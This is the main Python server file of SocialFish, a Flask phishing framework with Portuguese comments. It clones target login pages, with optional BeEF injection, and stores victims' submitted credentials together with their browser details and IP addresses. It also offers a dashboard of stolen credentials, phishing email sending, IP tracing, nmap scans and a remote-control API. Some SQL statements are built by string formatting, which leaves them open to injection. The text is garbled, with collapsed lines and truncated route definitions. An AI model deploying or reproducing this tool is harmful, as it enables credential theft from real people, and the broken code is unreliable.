thehackingsage
Ggm
#!/usr/bin/env python3
from flask import Flask, request, render_template, jsonify, redirect, g, flash from core.config import * from core.view import head from core.scansf import nScan from core.clonesf import clone from core.dbsf import initDB from core.genToken import genToken, genQRCode from core.sendMail import sendMail from core.tracegeoIp import tracegeoIp from core.cleanFake import cleanFake from core.genReport import genReport from core.report import generate_unique #>> new line from datetime import date from sys import argv, exit, version_info import colorama import sqlite3 import flask_login import os
Verificar argumentos
if len(argv) < 2:
print("./SocialFish
Temporario
users = {argv[1]: {'password': argv[2]}}
Definicoes do flask
app = Flask(name, static_url_path='', static_folder='templates/static') app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0
Inicia uma conexao com o banco antes de cada requisicao
@app.before_request def before_request(): g.db = sqlite3.connect(DATABASE)
Finaliza a conexao com o banco apos cada conexao
@app.teardown_request def teardown_request(exception): if hasattr(g, 'db'): g.db.close()
Conta o numero de credenciais salvas no banco
def countCreds(): count = 0 cur = g.db select_all_creds = cur.execute("SELECT id, url, pdate, browser, bversion, platform, rip FROM creds order by id desc") for i in select_all_creds: count += 1 return count
Conta o numero de visitantes que nao foram pegos no phishing
def countNotPickedUp(): count = 0
cur = g.db
select_clicks = cur.execute("SELECT clicks FROM socialfish where id = 1")
for i in select_clicks:
count = i[0]
count = count - countCreds()
return count
#----------------------------------------
definicoes do flask e de login
app.secret_key = APP_SECRET_KEY login_manager = flask_login.LoginManager() login_manager.init_app(app)
class User(flask_login.UserMixin): pass
@login_manager.user_loader def user_loader(email): if email not in users: return
user = User()
user.id = email
return user
@login_manager.request_loader def request_loader(request): email = request.form.get('email') if email not in users: return
user = User()
user.id = email
user.is_authenticated = request.form['password'] == users[email]['password']
return user
---------------------------------------------------------------------------------------
Rota para o caminho de inicializacao, onde e possivel fazer login
@app.route('/neptune', methods=['GET', 'POST']) def admin(): # se a requisicao for get if request.method == 'GET': # se o usuario estiver logado retorna para a pagina de credenciais if flask_login.current_user.is_authenticated: return redirect('/creds') # caso contrario retorna para a pagina de login else: return render_template('signin.html')
# se a requisicao for post, verifica-se as credencias
if request.method == 'POST':
email = request.form['email']
try:
# caso sejam corretas
if request.form['password'] == users[email]['password']:
user = User()
user.id = email
# torna autentico
flask_login.login_user(user)
# retorna acesso a pagina restrita
return redirect('/creds')
# contrario retorna erro
else:
# temporario
return "bad"
except:
return "bad"
funcao onde e realizada a renderizacao da pagina para a vitima
@app.route("/") def getLogin(): # caso esteja configurada para clonar, faz o download da pagina utilizando o user-agent do visitante if sta == 'clone': agent = request.headers.get('User-Agent').encode('ascii', 'ignore').decode('ascii') clone(url, agent, beef) o = url.replace('://', '-') cur = g.db cur.execute("UPDATE socialfish SET clicks = clicks + 1 where id = 1") g.db.commit() template_path = 'fake/{}/{}/index.html'.format(agent, o) return render_template(template_path) # caso seja a url padrao elif url == 'https://github.com/UndeadSec/SocialFish': return render_template('default.html') # caso seja configurada para custom else: cur = g.db cur.execute("UPDATE socialfish SET clicks = clicks + 1 where id = 1") g.db.commit() return render_template('custom.html')
funcao onde e realizado o login por cada pagina falsa
@app.route('/login', methods=['POST']) def postData(): if request.method == "POST": fields = [k for k in request.form] values = [request.form[k] for k in request.form] data = dict(zip(fields, values)) browser = str(request.user_agent.browser) bversion = str(request.user_agent.version) platform = str(request.user_agent.platform) rip = str(request.remote_addr) d = "{:%m-%d-%Y}".format(date.today()) cur = g.db sql = "INSERT INTO creds(url,jdoc,pdate,browser,bversion,platform,rip) VALUES(?,?,?,?,?,?,?)" creds = (url, str(data), d, browser, bversion, platform, rip) cur.execute(sql, creds) g.db.commit() return redirect(red)
funcao para configuracao do funcionamento CLONE ou CUSTOM, com BEEF ou NAO
@app.route('/configure', methods=['POST']) def echo(): global url, red, sta, beef red = request.form['red'] sta = request.form['status'] beef = request.form['beef']
if sta == 'clone':
url = request.form['url']
else:
url = 'Custom'
if len(url) > 4 and len(red) > 4:
if 'http://' not in url and sta != '1' and 'https://' not in url:
url = 'http://' + url
if 'http://' not in red and 'https://' not in red:
red = 'http://' + red
else:
url = 'https://github.com/UndeadSec/SocialFish'
red = 'https://github.com/UndeadSec/SocialFish'
cur = g.db
cur.execute("UPDATE socialfish SET attacks = attacks + 1 where id = 1")
g.db.commit()
return redirect('/creds')
pagina principal do dashboard
@app.route("/creds") @flask_login.login_required def getCreds(): cur = g.db attacks = cur.execute("SELECT attacks FROM socialfish where id = 1").fetchone()[0] clicks = cur.execute("SELECT clicks FROM socialfish where id = 1").fetchone()[0] tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] data = cur.execute("SELECT id, url, pdate, browser, bversion, platform, rip FROM creds order by id desc").fetchall() return render_template('admin/index.html', data=data, clicks=clicks, countCreds=countCreds, countNotPickedUp=countNotPickedUp, attacks=attacks, tokenapi=tokenapi)
pagina para envio de emails
@app.route("/mail", methods=['GET', 'POST']) @flask_login.login_required def getMail(): if request.method == 'GET': cur = g.db email = cur.execute("SELECT email FROM sfmail where id = 1").fetchone()[0] smtp = cur.execute("SELECT smtp FROM sfmail where id = 1").fetchone()[0] port = cur.execute("SELECT port FROM sfmail where id = 1").fetchone()[0] return render_template('admin/mail.html', email=email, smtp=smtp, port=port) if request.method == 'POST': subject = request.form['subject'] email = request.form['email'] password = request.form['password'] recipient = request.form['recipient'] body = request.form['body'] smtp = request.form['smtp'] port = request.form['port'] sendMail(subject, email, password, recipient, body, smtp, port) cur = g.db cur.execute("UPDATE sfmail SET email = '{}' where id = 1".format(email)) cur.execute("UPDATE sfmail SET smtp = '{}' where id = 1".format(smtp)) cur.execute("UPDATE sfmail SET port = '{}' where id = 1".format(port)) g.db.commit() return redirect('/mail')
Rota para consulta de log
@app.route("/single/
rota para rastreio de ip
@app.route("/trace/
rota para scan do nmap
@app.route("/scansf/
rota post para revogar o token da api
@app.route("/revokeToken", methods=['POST']) @flask_login.login_required def revokeToken(): revoke = request.form['revoke'] if revoke == 'yes': cur = g.db upsql = "UPDATE socialfish SET token = '{}' where id = 1".format(genToken()) cur.execute(upsql) g.db.commit() token = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] genQRCode(token, revoked=True) return redirect('/creds')
pagina para gerar relatorios
@app.route("/report", methods=['GET', 'POST']) @flask_login.login_required def getReport(): if request.method == 'GET': cur = g.db urls = cur.execute("SELECT DISTINCT url FROM creds").fetchall() users = cur.execute("SELECT name FROM professionals").fetchall() companies = cur.execute("SELECT name FROM companies").fetchall() uniqueUrls = [] for u in urls: if u not in uniqueUrls: uniqueUrls.append(u[0]) return render_template('admin/report.html', uniqueUrls=uniqueUrls, users=users, companies=companies) if request.method == 'POST': subject = request.form['subject'] user = request.form['selectUser'] company = request.form['selectCompany'] date_range = request.form['datefilter'] target = request.form['selectTarget'] _target = 'All' if target=='0' else target genReport(DATABASE, subject, user, company, date_range, _target) generate_unique(DATABASE,_target) return redirect('/report')
pagina para cadastro de profissionais
@app.route("/professionals", methods=['GET', 'POST']) @flask_login.login_required def getProfessionals(): if request.method == 'GET': return render_template('admin/professionals.html') if request.method == 'POST': name = request.form['name'] email = request.form['email'] obs = request.form['obs'] sql = "INSERT INTO professionals(name,email,obs) VALUES(?,?,?)" info = (name, email, obs) cur = g.db cur.execute(sql, info) g.db.commit() return redirect('/professionals')
pagina para cadastro de empresas
@app.route("/companies", methods=['GET', 'POST']) @flask_login.login_required def getCompanies(): if request.method == 'GET': return render_template('admin/companies.html') if request.method == 'POST': name = request.form['name'] email = request.form['email'] phone = request.form['phone'] address = request.form['address'] site = request.form['site'] sql = "INSERT INTO companies(name,email,phone,address,site) VALUES(?,?,?,?,?)" info = (name, email, phone, address, site) cur = g.db cur.execute(sql, info) g.db.commit() return redirect('/companies')
rota para gerenciamento de usuarios
@app.route("/sfusers/", methods=['GET']) @flask_login.login_required def getSfUsers(): return render_template('admin/sfusers.html')
#-------------------------------------------------------------------------------------------------------------------------------- #LOGIN VIEWS
@app.route('/logout') def logout(): flask_login.logout_user() return 'Logged out'
@login_manager.unauthorized_handler def unauthorized_handler(): return 'Unauthorized'
#--------------------------------------------------------------------------------------------------------------------------------
MOBILE API
VERIFICAR CHAVE
@app.route("/api/checkKey/
@app.route("/api/statistics/
@app.route("/api/getJson/
@app.route('/api/configure', methods = ['POST']) def postConfigureApi(): global url, red, sta, beef if request.is_json: content = request.get_json() cur = g.db tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] if content['key'] == tokenapi: red = content['red'] beef = content['beef'] if content['sta'] == 'clone': sta = 'clone' url = content['url'] else: sta = 'custom' url = 'Custom'
if url != 'Custom':
if len(url) > 4:
if 'http://' not in url and sta != '1' and 'https://' not in url:
url = 'http://' + url
if len(red) > 4:
if 'http://' not in red and 'https://' not in red:
red = 'http://' + red
else:
red = 'https://github.com/UndeadSec/SocialFish'
cur = g.db
cur.execute("UPDATE socialfish SET attacks = attacks + 1 where id = 1")
g.db.commit()
status = {'status':'ok'}
else:
status = {'status':'bad'}
else:
status = {'status':'bad'}
return jsonify(status)
@app.route("/api/mail", methods=['POST']) def postSendMail(): if request.is_json: content = request.get_json() cur = g.db tokenapi = cur.execute("SELECT token FROM socialfish where id = 1").fetchone()[0] if content['key'] == tokenapi: subject = content['subject'] email = content['email'] password = content['password'] recipient = content['recipient'] body = content['body'] smtp = content['smtp'] port = content['port'] if sendMail(subject, email, password, recipient, body, smtp, port) == 'ok': cur = g.db cur.execute("UPDATE sfmail SET email = '{}' where id = 1".format(email)) cur.execute("UPDATE sfmail SET smtp = '{}' where id = 1".format(smtp)) cur.execute("UPDATE sfmail SET port = '{}' where id = 1".format(port)) g.db.commit() status = {'status':'ok'} else: status = {'status':'bad','error':str(sendMail(subject, email, password, recipient, body, smtp, port))} else: status = {'status':'bad'} else: status = {'status':'bad'} return jsonify(status)
@app.route("/api/trace/
@app.route("/api/scansf/
@app.route("/api/infoReport/
#-------------------------------------------------------------------------------------------------------------------------------- def main(): if version_info<(3,0,0): print('[!] Please use Python 3. $ python3 SocialFish.py') exit(0) head() cleanFake() # Inicia o banco initDB(DATABASE) app.run(host="0.0.0.0", port=5000)
if name == "main": try: main() except KeyboardInterrupt: exit(0)
